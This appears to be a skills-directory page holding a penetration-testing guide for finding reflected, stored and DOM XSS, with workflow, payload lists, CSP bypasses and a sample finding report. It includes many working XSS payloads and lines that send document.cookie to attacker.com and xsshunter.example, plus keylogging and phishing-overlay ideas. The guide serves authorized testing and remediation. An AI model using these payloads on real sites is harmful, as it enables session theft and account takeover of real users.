[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B9FSKQ24KX6GA0JMV9EQ87":3,"skill-same:01M7B9FSKQ24KX6GA0JMV9EQ87":81},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":45,"commitSha":46,"skillDirectory":47,"forksCount":13,"repositoryHtmlUrl":48,"repositoryHomepageUrl":6,"ownerHtmlUrl":49,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":50,"install":51,"resources":64},"01M7B9FSKQ24KX6GA0JMV9EQ87","testing-for-xss-vulnerabilities",null,"Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-for-xss-vulnerabilities\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-for-xss-vulnerabilities\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-for-xss-vulnerabilities\ndescription: Tests web applications for reflected, stored, and DOM-based Cross-Site\n  Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active\n  Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session\n  hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or\n  when evaluating input sanitization and output encoding coverage.\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- XSS\n- cross-site-scripting\n- client-side-security\n- OWASP-A03\n- JavaScript-injection\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1055\n---\n# Testing for XSS Vulnerabilities\n\n## When to Use\n\n- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing\n- Evaluating the effectiveness of input sanitization and output encoding across all application features\n- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation\n- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders\n- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering\n\n**Do not use** against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.\n\n## Prerequisites\n\n- Authorized scope defining the target web application and acceptable testing activities\n- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)\n- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)\n- XSS Hunter or Burp Collaborator for out-of-band payload verification\n- SecLists XSS payload lists and custom payloads for WAF bypass scenarios\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Input and Output Mapping\n\nMap every location where user input enters and is rendered by the application:\n\n- **Reflected inputs**: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response\n- **Stored inputs**: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages\n- **DOM inputs**: Identify client-side JavaScript that reads from `location.hash`, `location.search`, `document.referrer`, `window.name`, `postMessage`, or `localStorage` and writes to the DOM\n- **Output context identification**: For each reflected input, determine the rendering context:\n  - HTML body: `\u003Cdiv>USER_INPUT\u003C\u002Fdiv>`\n  - HTML attribute: `\u003Cinput value=\"USER_INPUT\">`\n  - JavaScript string: `var x = 'USER_INPUT';`\n  - URL context: `\u003Ca href=\"USER_INPUT\">`\n  - CSS context: `\u003Cdiv style=\"color: USER_INPUT\">`\n\n### Step 2: Reflected XSS Testing\n\nTest reflected injection points with context-appropriate payloads:\n\n- **HTML body context**: `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`, `\u003Cimg src=x onerror=alert(1)>`, `\u003Csvg onload=alert(1)>`\n- **HTML attribute context**: `\" onfocus=alert(1) autofocus=\"`, `\" onmouseover=alert(1) \"`, `\">\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **JavaScript string context**: `';alert(1)\u002F\u002F`, `\\';alert(1)\u002F\u002F`, `\u003C\u002Fscript>\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **URL\u002Fhref context**: `javascript:alert(1)`, `data:text\u002Fhtml,\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **Inside HTML comments**: `-->\u003Cscript>alert(1)\u003C\u002Fscript>\u003C!--`\n- **Filter bypass payloads** (when basic payloads are blocked):\n  - Case variation: `\u003CScRiPt>alert(1)\u003C\u002FsCrIpT>`\n  - Event handlers: `\u003Cdetails open ontoggle=alert(1)>`\n  - SVG: `\u003Csvg>\u003Canimate onbegin=alert(1) attributeName=x>`\n  - Encoding: `\u003Cimg src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>`\n\n### Step 3: Stored XSS Testing\n\nTest persistent storage points that render input to other users:\n\n- Submit XSS payloads to every stored input field identified in Step 1\n- Use a unique identifier in each payload to track which inputs trigger: `\u003Cscript>alert('XSS-PROFILE-001')\u003C\u002Fscript>`\n- Check all locations where the stored input is rendered (the same input may appear on multiple pages)\n- Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads\n- Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes\n- Use XSS Hunter payloads (`\">\u003Cscript src=https:\u002F\u002Fyourxsshunter.xss.ht>\u003C\u002Fscript>`) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access\n\n### Step 4: DOM-Based XSS Testing\n\nAnalyze client-side JavaScript for unsafe DOM manipulation:\n\n- **Source identification**: Search JavaScript for dangerous sources that read attacker-controlled input:\n  - `document.location`, `document.URL`, `document.referrer`\n  - `location.hash`, `location.search`, `location.href`\n  - `window.name`, `postMessage` event data\n- **Sink identification**: Search for dangerous sinks that write to the DOM:\n  - `innerHTML`, `outerHTML`, `document.write()`, `document.writeln()`\n  - `eval()`, `setTimeout()`, `setInterval()`, `Function()`\n  - `element.setAttribute()` with event handlers, `jQuery.html()`, `.append()`, `v-html` (Vue), `dangerouslySetInnerHTML` (React)\n- **Trace data flow**: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.\n- **Framework-specific testing**: Test React `dangerouslySetInnerHTML`, Angular template injection (`{{constructor.constructor('alert(1)')()}}`), Vue `v-html` directive\n\n### Step 5: CSP Bypass and Advanced Exploitation\n\nTest Content Security Policy effectiveness and demonstrate real-world impact:\n\n- **CSP analysis**: Review the CSP header for weaknesses:\n  - `unsafe-inline` in script-src allows inline scripts\n  - `unsafe-eval` allows eval() and similar functions\n  - Wildcard domains (`*.googleapis.com`) may host JSONP endpoints usable for CSP bypass\n  - `base-uri` not set allows `\u003Cbase>` tag injection to redirect relative script loads\n- **JSONP bypass**: If CSP allows a domain with JSONP endpoints, use `\u003Cscript src=\"https:\u002F\u002Fallowed-domain.com\u002Fjsonp?callback=alert(1)\">\u003C\u002Fscript>`\n- **Impact demonstration**:\n  - Session hijacking: `\u003Cscript>new Image().src=\"https:\u002F\u002Fattacker.com\u002Fsteal?c=\"+document.cookie\u003C\u002Fscript>`\n  - Credential phishing: Inject a fake login form overlay that submits to the attacker's server\n  - Keylogging: Inject JavaScript that captures keystrokes on the page\n  - Account takeover: Use XSS to change the victim's email address and trigger a password reset\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Reflected XSS** | Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |\n| **Stored XSS** | Persistent XSS where the payload is saved on the server and served to other users who view the affected page |\n| **DOM-Based XSS** | XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |\n| **Content Security Policy** | HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |\n| **Output Encoding** | Converting special characters to their HTML entity equivalents (e.g., `\u003C` to `&lt;`) to prevent the browser from interpreting user input as code |\n| **Sink** | A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing\n- **XSS Hunter**: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS\n- **DOMPurify**: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version\n- **Browser Developer Tools**: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time\n\n## Common Scenarios\n\n### Scenario: Stored XSS in Customer Support Ticket System\n\n**Context**: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.\n\n**Approach**:\n1. Submit a support ticket with a unique XSS Hunter payload in the ticket description\n2. The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot\n3. Use the captured admin session cookie to access the admin panel as the support agent\n4. From the admin panel, access customer records, order data, and refund functionality\n5. Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised\n6. Test if CSP would have prevented the attack (in this case, no CSP header was present)\n\n**Pitfalls**:\n- Only testing for `\u003Cscript>alert(1)\u003C\u002Fscript>` and missing XSS that fires through event handlers or in non-HTML contexts\n- Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)\n- Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable\n- Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards\n\n## Output Format\n\n```\n## Finding: Stored XSS in Support Ticket Description\n\n**ID**: XSS-002\n**Severity**: High (CVSS 8.1)\n**Affected URL**: POST \u002Fapi\u002Ftickets (submission), GET \u002Fadmin\u002Ftickets\u002F8847 (trigger)\n**Parameter**: description (POST body)\n**XSS Type**: Stored (persistent)\n\n**Description**:\nThe support ticket description field does not sanitize HTML input before storing\nit in the database. When a support agent views the ticket in the admin panel, the\nunsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript\nexecution in the context of the admin application.\n\n**Proof of Concept**:\nSubmitted ticket with payload:\n\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fxsshunter.example\u002Fcallback?c='+document.cookie)\">\n\nThe payload fired when the agent viewed the ticket, exfiltrating the admin session\ncookie to the XSS Hunter server.\n\n**Impact**:\nAn attacker can steal the session tokens of support agents and administrators,\ngaining access to the admin panel with privileges to view customer PII, process\nrefunds, and modify orders. Affects all 23 support agents who view customer tickets.\n\n**Remediation**:\n1. Implement output encoding using a context-aware library (OWASP Java Encoder,\n   DOMPurify for client-side rendering)\n2. Deploy Content Security Policy header:\n   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'\n3. Set HttpOnly flag on session cookies to prevent JavaScript access\n4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)\n```\n","# Testing for XSS Vulnerabilities\n\n## When to Use\n\n- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing\n- Evaluating the effectiveness of input sanitization and output encoding across all application features\n- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation\n- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders\n- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering\n\n**Do not use** against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.\n\n## Prerequisites\n\n- Authorized scope defining the target web application and acceptable testing activities\n- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)\n- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)\n- XSS Hunter or Burp Collaborator for out-of-band payload verification\n- SecLists XSS payload lists and custom payloads for WAF bypass scenarios\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Input and Output Mapping\n\nMap every location where user input enters and is rendered by the application:\n\n- **Reflected inputs**: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response\n- **Stored inputs**: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages\n- **DOM inputs**: Identify client-side JavaScript that reads from `location.hash`, `location.search`, `document.referrer`, `window.name`, `postMessage`, or `localStorage` and writes to the DOM\n- **Output context identification**: For each reflected input, determine the rendering context:\n  - HTML body: `\u003Cdiv>USER_INPUT\u003C\u002Fdiv>`\n  - HTML attribute: `\u003Cinput value=\"USER_INPUT\">`\n  - JavaScript string: `var x = 'USER_INPUT';`\n  - URL context: `\u003Ca href=\"USER_INPUT\">`\n  - CSS context: `\u003Cdiv style=\"color: USER_INPUT\">`\n\n### Step 2: Reflected XSS Testing\n\nTest reflected injection points with context-appropriate payloads:\n\n- **HTML body context**: `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`, `\u003Cimg src=x onerror=alert(1)>`, `\u003Csvg onload=alert(1)>`\n- **HTML attribute context**: `\" onfocus=alert(1) autofocus=\"`, `\" onmouseover=alert(1) \"`, `\">\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **JavaScript string context**: `';alert(1)\u002F\u002F`, `\\';alert(1)\u002F\u002F`, `\u003C\u002Fscript>\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **URL\u002Fhref context**: `javascript:alert(1)`, `data:text\u002Fhtml,\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **Inside HTML comments**: `-->\u003Cscript>alert(1)\u003C\u002Fscript>\u003C!--`\n- **Filter bypass payloads** (when basic payloads are blocked):\n  - Case variation: `\u003CScRiPt>alert(1)\u003C\u002FsCrIpT>`\n  - Event handlers: `\u003Cdetails open ontoggle=alert(1)>`\n  - SVG: `\u003Csvg>\u003Canimate onbegin=alert(1) attributeName=x>`\n  - Encoding: `\u003Cimg src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>`\n\n### Step 3: Stored XSS Testing\n\nTest persistent storage points that render input to other users:\n\n- Submit XSS payloads to every stored input field identified in Step 1\n- Use a unique identifier in each payload to track which inputs trigger: `\u003Cscript>alert('XSS-PROFILE-001')\u003C\u002Fscript>`\n- Check all locations where the stored input is rendered (the same input may appear on multiple pages)\n- Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads\n- Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes\n- Use XSS Hunter payloads (`\">\u003Cscript src=https:\u002F\u002Fyourxsshunter.xss.ht>\u003C\u002Fscript>`) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access\n\n### Step 4: DOM-Based XSS Testing\n\nAnalyze client-side JavaScript for unsafe DOM manipulation:\n\n- **Source identification**: Search JavaScript for dangerous sources that read attacker-controlled input:\n  - `document.location`, `document.URL`, `document.referrer`\n  - `location.hash`, `location.search`, `location.href`\n  - `window.name`, `postMessage` event data\n- **Sink identification**: Search for dangerous sinks that write to the DOM:\n  - `innerHTML`, `outerHTML`, `document.write()`, `document.writeln()`\n  - `eval()`, `setTimeout()`, `setInterval()`, `Function()`\n  - `element.setAttribute()` with event handlers, `jQuery.html()`, `.append()`, `v-html` (Vue), `dangerouslySetInnerHTML` (React)\n- **Trace data flow**: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.\n- **Framework-specific testing**: Test React `dangerouslySetInnerHTML`, Angular template injection (`{{constructor.constructor('alert(1)')()}}`), Vue `v-html` directive\n\n### Step 5: CSP Bypass and Advanced Exploitation\n\nTest Content Security Policy effectiveness and demonstrate real-world impact:\n\n- **CSP analysis**: Review the CSP header for weaknesses:\n  - `unsafe-inline` in script-src allows inline scripts\n  - `unsafe-eval` allows eval() and similar functions\n  - Wildcard domains (`*.googleapis.com`) may host JSONP endpoints usable for CSP bypass\n  - `base-uri` not set allows `\u003Cbase>` tag injection to redirect relative script loads\n- **JSONP bypass**: If CSP allows a domain with JSONP endpoints, use `\u003Cscript src=\"https:\u002F\u002Fallowed-domain.com\u002Fjsonp?callback=alert(1)\">\u003C\u002Fscript>`\n- **Impact demonstration**:\n  - Session hijacking: `\u003Cscript>new Image().src=\"https:\u002F\u002Fattacker.com\u002Fsteal?c=\"+document.cookie\u003C\u002Fscript>`\n  - Credential phishing: Inject a fake login form overlay that submits to the attacker's server\n  - Keylogging: Inject JavaScript that captures keystrokes on the page\n  - Account takeover: Use XSS to change the victim's email address and trigger a password reset\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Reflected XSS** | Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |\n| **Stored XSS** | Persistent XSS where the payload is saved on the server and served to other users who view the affected page |\n| **DOM-Based XSS** | XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |\n| **Content Security Policy** | HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |\n| **Output Encoding** | Converting special characters to their HTML entity equivalents (e.g., `\u003C` to `&lt;`) to prevent the browser from interpreting user input as code |\n| **Sink** | A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing\n- **XSS Hunter**: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS\n- **DOMPurify**: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version\n- **Browser Developer Tools**: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time\n\n## Common Scenarios\n\n### Scenario: Stored XSS in Customer Support Ticket System\n\n**Context**: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.\n\n**Approach**:\n1. Submit a support ticket with a unique XSS Hunter payload in the ticket description\n2. The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot\n3. Use the captured admin session cookie to access the admin panel as the support agent\n4. From the admin panel, access customer records, order data, and refund functionality\n5. Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised\n6. Test if CSP would have prevented the attack (in this case, no CSP header was present)\n\n**Pitfalls**:\n- Only testing for `\u003Cscript>alert(1)\u003C\u002Fscript>` and missing XSS that fires through event handlers or in non-HTML contexts\n- Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)\n- Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable\n- Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards\n\n## Output Format\n\n```\n## Finding: Stored XSS in Support Ticket Description\n\n**ID**: XSS-002\n**Severity**: High (CVSS 8.1)\n**Affected URL**: POST \u002Fapi\u002Ftickets (submission), GET \u002Fadmin\u002Ftickets\u002F8847 (trigger)\n**Parameter**: description (POST body)\n**XSS Type**: Stored (persistent)\n\n**Description**:\nThe support ticket description field does not sanitize HTML input before storing\nit in the database. When a support agent views the ticket in the admin panel, the\nunsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript\nexecution in the context of the admin application.\n\n**Proof of Concept**:\nSubmitted ticket with payload:\n\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fxsshunter.example\u002Fcallback?c='+document.cookie)\">\n\nThe payload fired when the agent viewed the ticket, exfiltrating the admin session\ncookie to the XSS Hunter server.\n\n**Impact**:\nAn attacker can steal the session tokens of support agents and administrators,\ngaining access to the admin panel with privileges to view customer PII, process\nrefunds, and modify orders. Affects all 23 support agents who view customer tickets.\n\n**Remediation**:\n1. Implement output encoding using a context-aware library (OWASP Java Encoder,\n   DOMPurify for client-side rendering)\n2. Deploy Content Security Policy header:\n   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'\n3. Set HttpOnly flag on session cookies to prevent JavaScript access\n4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)\n```\n",{"name":5,"tags":24,"author":30,"domain":31,"license":14,"version":32,"nist_csf":33,"subdomain":38,"description":7,"mitre_attack":39},[25,26,27,28,29],"XSS","cross-site-scripting","client-side-security","OWASP-A03","JavaScript-injection","mahipal","cybersecurity","1.0.0",[34,35,36,37],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing",[40,41,42,43,44],"T1595","T1190","T1059","T1078","T1055","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-for-xss-vulnerabilities","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":52,"prompt":62,"zipAvailable":63},[53,56,59],{"tool":54,"command":55},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill testing-for-xss-vulnerabilities",{"tool":57,"command":58},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill testing-for-xss-vulnerabilities",{"tool":60,"command":61},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill testing-for-xss-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-for-xss-vulnerabilities\u002FSKILL.md",true,[65,69,75],{"path":66,"resourceType":66,"resourceTypeDesc":67,"sizeBytes":68,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"references\u002Fapi-reference.md","REFERENCE","参考文档",1999,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-for-xss-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":76,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"scripts\u002Fagent.py","SCRIPT","脚本",8640,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-for-xss-vulnerabilities\u002Fscripts\u002Fagent.py",[82,90,97,104,111,118],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper 